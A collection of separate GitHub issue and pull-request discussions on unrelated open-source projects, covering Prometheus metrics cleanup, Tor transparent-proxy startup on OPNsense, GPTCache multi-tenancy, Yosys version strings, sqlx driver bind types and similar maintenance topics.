see https://github.com/pingcap/dm/pull/575 for more detail. We want to remove metrics when task/source stopped. However, our metrics don't quite fit the specification. e.g. txnHistogram is created with  target_schema/target_table label, but we need to remove when its task/source is deleted, so we need delete the metrics when label is partial match. https://github.com/pingcap/dm/pull/575 wraps metrics and label with a Map, which has perfomance issue. Promethus support DeletePartialMatch now. https://github.com/prometheus/client_golang/pull/1013

/merge


CalcHessian for H1_SegmentElement, H1_QuadrilateralElement, and H1_HexahedronElement

Hi,
I implemented CalcHessian for said finite elements, however only for Basis::Barycentric. Is this enough for a pull request or should we also implement it for Basis::Positive and Basis::ChangeOfBasis?
Best regards,
Andreas

I think the Barycentric case is a good start. The other cases can be added later when needed.

Agreed.

Discussion continued in #1474


security/tor: unable to use transparent proxy mode

Here's what I get when running service tor onestart:
Sep 27 17:03:21.383 [notice] Tor <IP_ADDRESS> (git-c33db290a9d8d0f9) running on FreeBSD with Libevent 2.1.8-stable, OpenSSL 1.0.2l and Zlib 1.2.8.
Sep 27 17:03:21.384 [notice] Tor can't help you if you use it wrong! Learn how to be safe at https://www.torproject.org/download/download#warning
Sep 27 17:03:21.384 [notice] Read configuration file "/usr/local/etc/tor/torrc".
Sep 27 17:03:21.406 [notice] Opening Socks listener on <IP_ADDRESS>:9050
Sep 27 17:03:21.406 [notice] Opening Socks listener on [::1]:9050
Sep 27 17:03:21.406 [notice] Opening DNS listener on <IP_ADDRESS>:9053
Sep 27 17:03:21.406 [notice] Opening Transparent pf/netfilter listener on <IP_ADDRESS>:9040
Sep 27 17:03:21.406 [notice] Opening Control listener on <IP_ADDRESS>:9051
Sep 27 17:03:21.407 [warn] open("/dev/pf") failed: Permission denied
Sep 27 17:03:21.407 [notice] Closing partially-constructed Socks listener on <IP_ADDRESS>:9050
Sep 27 17:03:21.407 [notice] Closing partially-constructed Socks listener on ::1:9050
Sep 27 17:03:21.407 [notice] Closing partially-constructed DNS listener on <IP_ADDRESS>:9053
Sep 27 17:03:21.407 [notice] Closing partially-constructed Transparent pf/netfilter listener on <IP_ADDRESS>:9040
Sep 27 17:03:21.407 [notice] Closing partially-constructed Control listener on <IP_ADDRESS>:9051
Sep 27 17:03:21.407 [warn] Failed to parse/validate config: Unable to open /dev/pf for transparent proxy.
Sep 27 17:03:21.407 [err] Reading config failed--see warnings above.
/usr/local/etc/rc.d/tor: WARNING: failed to start tor

Here's my /usr/local/etc/tor/torrc:
##
## OPNsense autogenerated config file.
## Don't change it because your changes get lost.
##
##

SOCKSPort <IP_ADDRESS>:9050 # localhost IPv4
SOCKSPort [::1]:9050     # localhost IPv6

SOCKSPolicy accept <IP_ADDRESS>/24

SOCKSPolicy reject *
SOCKSPolicy reject6 *

Log notice file /var/log/tor.log
Log err syslog

DataDirectory /var/db/tor

ControlPort 9051
HashedControlPassword 16:7A7B4C58EDC2B32160FE80CC626608A0EA3FDDB4D3FA909C49B32F1D02

FascistFirewall 0

TransPort 9040
DNSPort 9053
VirtualAddrNetwork <IP_ADDRESS>/16
AutomapHostsOnResolve 1

Sep 27 17:03:21.407 [warn] open("/dev/pf") failed: Permission denied

Shouldn't happen when setup.sh is executed... onestart is also suboptimal. start doesn't work? service not enabled?
Some discussion here that may be relevant: https://forum.opnsense.org/index.php?topic=5995.0

onestart should not be used. If the service is enabled, configctl tor start should work as it runs setup.sh and starts it using start. setup.sh should also fix the permission issue.

It looks like my system just bugged out. I reinstalled the tor plugin and everything's working beautifully. Thanks for the help, @fabianfrz and @fichtner.


Text of textFormField can be modified via registry value (bidirectional relation)

Description

The modification of the value which lies under id key of JsonWidgetRegistry for JsonTextFormFieldBuilder will change the value in TextFormField.
Added missing remove for JsonDynamicBuilder.
Allow for empty values in function params

Checklist
Before you create this PR confirm that it meets all requirements listed below by checking the relevant checkboxes ([x]). This will ensure a smooth and quick review process.

[x] I read the Code Style Guide and followed the process outlined there for submitting PRs.
[x] All existing and new tests are passing.
[x] I updated/added relevant documentation (doc comments with ///).
[x] The analyzer (flutter analyze) does not report any problems on my PR.
[x] I updated pubspec.yaml, build.properties, and ios/Podfile with an appropriate new version according to the pub versioning philosophy.
[x] I updated CHANGELOG.md to add a description of the change.
[x] I am authorized to release this code under the MIT License and agree to do so

UI Change
Does your PR affect any UI screens?

[x] Yes, the relevant screens are included below.
[] No, there are no UI impacts with this PR.

form.json

dynamic.json

@jpeiffer I've added it mostly to support text clearing for example.. 😁
Please take a look at it carefully and let me know your thoughts - cheers!


[Enhancement]: Option to set context in request in GPTCache Server

What would you like to be added?
I am using GPTCache Server and use /put and /get primarily . In my use case, there are multiple user utilizing this server. I want to add context to every request, it could be anything like id or request_id so that put and get adds or looks up according to that.
example:
/put body might look like this:
{
    "prompt": "hello",
    "answer" : "Hi there!",
    "id": "abc123"
}

below will return the answer because it is cached with same id
/get
{
    "prompt": "hi",
    "id": "abc123"
}

below will not return any answer even if it was cached the id is different
/get
{
    "prompt": "hi",
    "id": "xyz567"
}

Why is this needed?
My application uses GPTCache server as it is, and it is multitenant. I can have multiple user/organisation/project and they don't want to share cache between them
Anything else?
No response

good ideas!

Agree, because I have also encountered this issue, and now the same content cannot be separated from multiple sessions before
But before making any changes, it can be distinguished as follows
Each time a cache is added, an identification ID can be added in front of the content, and this identification ID can also be concatenated during queries For example, when adding: {ID} Hello, when querying: {ID} Hello

Agree, because I have also encountered this issue, and now the same content cannot be separated from multiple sessions before
But before making any changes, it can be distinguished as follows
Each time a cache is added, an identification ID can be added in front of the content, and this identification ID can also be concatenated during queries For example, when adding: {ID} Hello, when querying: {ID} Hello

I have tried this before. I started caching prompt and response like, {user_id} {prompt}, same I tried querying. It has too many false positives.
example:
prompt: "132 Hello", "133 Hello" matched with same response.
I think since it has vector based(semantic matching), it cannot do strict matching, which results in false matches. I could be wrong though.

we are maintaining our fork and have added multi-tenancy there: https://github.com/NumexaHQ/GPTCache/pull/1/commits/41aae693ff6534523f3db4e423ccda5bf72efc12


Add batch processing functions for fiat and satoshi conversions

This PR introduces batch processing utilities to enhance the efficiency of fiat and satoshi conversions. By minimizing the number of API calls, these changes aim to optimize performance for scenarios involving multiple simultaneous conversions.
Changes in this PR:
Added batch processing functions:

getBatchFiatValue: Calculates fiat values for an array of satoshis.
getBatchSatoshiValue: Calculates satoshi values for an array of fiat amounts.
getBatchFormattedFiatValue: Formats multiple fiat values as localized strings.

@d4rp4t I am not sure this is really needed in this library as this is more custom and not necessarily required. The new methods you added can be done by the application, right?

You're absolutely right, this can be implemented at the application level.
My main goal with this PR was to reduce unnecessary API calls, especially in scenarios like rendering lists or handling large datasets. By incorporating this functionality into the library, we can encourage a more efficient approach that helps prevent overloading the API.

@d4rp4t on the other hand, by adding these methods we also complicate and increase the API surface and does not necessarily mean a user of the API would use them. I think this is a very specific use-case, so I still think this should be handled at the application level.


Added  a new configuration variable GIT_REV_WHERE

It determines from where we get the gits SHA1 value. By default is HEAD,
suitable for Clifford, but for Debian we can define it as upstream/master

I'm not sure if I understand the need for this correctly. If HEAD is different from upstream/master, why would you use the git rev from upstream/master? The whole idea of having a git rev in the version string in the first place is to be exact about which version of the source code was used.
If a person has a Yosys build from the debian sources, and another one from the upstream sources, I would expect them to report different git sha1 checksums.

The Debian packages are named VERSIONgitSHA1-PACKAGE_VERSION
Here the SHA1 is the SHA1 of the original project, not the SHA1 of the Debian repository.
The PACKAGE_VERSION indicates changes in the packaging stuff, but the SHA1 remains the same.
This helps people to reproduce the package without the need to access the Debian repository. A user can just checkout from GitHub using the indicated SHA1 and then add the packaging files (available from the Debian packages interface).
Ideally the Debian package stuff won't need to touch the code, but could need to apply some patches. And I think this is what confuses you: a binary could claim to be created using certain SHA1, but in fact have additional patches. This is normal in Debian, the patches are available. The SHA1 reported by the binary should help to know which code was used as base for the package. That's why the SHA1 must refer to your repository at GitHub, not a SHA1 from Debian's repo.
I hope my explanation is clear, english isn't my native language ;-)

I have pretty much the same issue with the Fedora yosys package. I chose to leave the git sha1 reported by the program itself as UNKNOWN. If someone has the package installed, and needs to know what upstream git snapshot it was built from, they can use "rpm -q yosys", as the date and first seven hex digits of the sha1 hash of the git snapshot are in the package release.
Given that the Fedora packaging may patch the source (presently only patching yosys-config), I thought it could be misleading to have the program display its version as the upstream hash, since it might not exactly match. The user can get the SRPM (source RPM) corresponding to the binary RPM they have installed, and the SRPM contains the exact upstream snapshot and all patches used to build the binary RPM.
If I were going to change the yosys version message specifically for Fedora, I think I'd want it to contain the Fedora RPM name (e.g., "yosys-0.6.0-1.20160923git8f5bf6d"), which provides traceability to the Fedora build system.

I would suggest setting GIT_REV directly via make command line in this cases. I have now also added a YOSYS_VER_STR Makefile variable that can be used to set the entire version string manually.

I can use GIT_REV, but in this case: Can you change := by ?= is easier to define it from the environment. In this way one definition affects all the calls to make.
What I'm trying to avoid is a nasty patch that currently patches the Makefile to define GIT_REV with a hardcoded value.

Can you change := by ?=

No. ?= has the semantics of =, not :=, so the entire shell command would be re-evaluated whenever the variable is used!
Can you explain why it is so difficult to simply pass GIT_REV="..." as argument to make for this? Why does it need to be defined via the environment?

Is just easier to export the variable, instead of catching every call and overwriting it. But I can do it.


How should I find and use custom controls of WPF application?

I testing a WPF App, it contains some custom controls.. I do not have a way to find the operation in the document
How shuld I do ?

Read http://pywinauto.readthedocs.io/en/stable/getting_started.html
Use Inspect.exe as described in the above article.

In more details many custom controls should implement UI Automation Server Providers. It requires some efforts from the app developers.
There is another way. WPF custom controls info can be obtained by managed DLL injection with access to their internal properties. This approach is used in Squish, TestComplete and other commercial tools. Never heard about open source implementation. But we'd appreciate research in this direction and we will do it in a mid-term future. If someone wants to help, we'd appreciate it!


Enhanced logging configuration

Feature Description
I would like to have more control over the log configuration.
It is currently not possible to disable log rotation (https://github.com/elastic/puppet-elasticsearch/blob/2cdb6701adccc4bbc697cebc00cc805134a3eec0/manifests/init.pp#L426) or compress the logs by adding .gz or .zip to the end of appender.rolling.filePattern.

Hi @mmerfort,
Currently, the module permits total control of the logging configuration files by allowing you to pass the module either a file source or file template to create logging.yml or log4j2.properties with.
If defining the logging configuration in its entirety doesn't sound like it would work for you, could you provide an example of what configuration options you'd like to see exposed in Puppet to control the settings you mentioned?

Closing due to inactivity.


fix: uid/sid were not persistent once stored

Always take the vaalue from the persistent store if it exists.
Without this change, uid and sid and replaced every refresh if the consent attribute is set
RKT-8835

hotfix-v1.8


[FormRecognizer] Update live test resource region

This is to avoid busy region like westus2

/azp run js - formrecognizer - tests

Merging this while waiting for #9420.  Will update #9420 to revert change in this PR


How to update device token after analytics is initialized?

In this PR https://github.com/segmentio/analytics_flutter/pull/73 it seems that you guys added a new property to Configuration class which is token, but what happens if the device token is only acquired after the analytics was already initialized? Should we create a new instance of the analytics to replace the old now or use the solution proposed on this issue https://github.com/segmentio/analytics_flutter/issues/29?

hi @ggirotto we add token to change on any time on the execution process, to update the context once the Analytics was initialized you need to use the proposed solution because you can use the same instance of Analytics was declared at the beginning to update the context.


[DS-2701-service-api-fix-legacy-id-support] Fix legacy identifier support for the community & removed some obsolete "getLegacyID()" methods

Untested, but these changes look minor. +1

I like it. Still hard to test legacyID's as I keep starting with a fresh DB


Homepage and bg images admin crashes if no images are in the database

Fixed by not allowing the user to delete the last image, needing to add another one before doing so.


Update switching-endpoints.md

Fixing right-paren on AzureOpenAI object similar to other PR https://github.com/MicrosoftDocs/azure-docs/pull/117514

@mrbullwinkle

Can you review this PR?
IMPORTANT: When this content is ready to merge, you must add #sign-off in a comment or the approval may get overlooked.

#label:"aq-pr-triaged"
@MicrosoftDocs/public-repo-pr-review-team

#sign-off


supervise: start "down" services with svc -o

Continued from PR#47.
This patch addresses issue #32. Basically, the firstrun flag is only valid until the start script is launched but the reaper code is trying to use it later to decide what to do.

Thanks. Fixes #32


How to register a bind type for a new driver?

In trying to integrate the "cloudsqlpostgres" driver, I don't see a way to specify the bind type as DOLLAR at setup time. I don't want to be forced to add code to manually rebind using sqlx.Rebind throughout my project which has hundreds of queries. Also, for some environments we use the "postgres" driver directly and I'm hoping to seamlessly switch between the two drivers.
Option 1: Add "cloudsqlpostgres" to the BindType function.
Option 2: Expose a way to manually set the bind type when setting up the connection.
Option 3: ???
Thanks for an awesome library.
ref: https://github.com/GoogleCloudPlatform/cloudsql-proxy/blob/master/proxy/dialers/postgres/hook_test.go
ref: https://github.com/jmoiron/sqlx/blob/master/bind.go#L22

Created #391 in case Option 1 is acceptable for the maintainers.

An alternate to Option 1 would be nice at some point.  I think I'm going to wait for the versioning situation to settle before having backwards-incompatible fixes to some of the warts related to global registration et al, and this is one of them.


Add stage

Coverage remained the same at 100.0% when pulling 9111b06a24a9a873eb3e3a819d06fb6087ea62b4 on feature/addStage into f9b070fb5d9a22fe39125475f5a33d0b17af31e2 on master.


Feature: Capture current screen

With the demise of IOTLink, one feature that it had was the current (or near current) image of each display.
Is there a way to get the current screen shot with HASS.Agent?

Not yet, but someone wrote a nice PS script you can use:
https://hassagent.readthedocs.io/en/latest/sensor-command-automation-and-script-examples/#command-grab-screenshot-using-powershell
There's a ticket for this feature, please follow it for updates:
https://lab02research.youtrack.cloud/issue/hassagent-85/Sensor-Screenshot


Pin golang version in Dockerfile

Hello,
our Vulnerability Scanner (AquaSec) found a critrical vulnerability in v1.10.1 of traefik/whoami: CVE-2015-4042.
I build the traefik/whoami image locally with golang:1.22.2-alpine3.19 as base image. This version of golang/alpine has no vulnerabilities anymore.
May I open a PR to resolve this (including an update on go 1.22) or do you follow any other process for fixing vulnerabilities?

whoami has been built to be used inside the tests of Traefik, the target was not really to create a tool to use with production stuff or to be used outside of Traefik's context.
The current Docker file is adapted to reduce maintenance (i.e. we don't need to update the Dockerfile)

Thank you for the fast solution.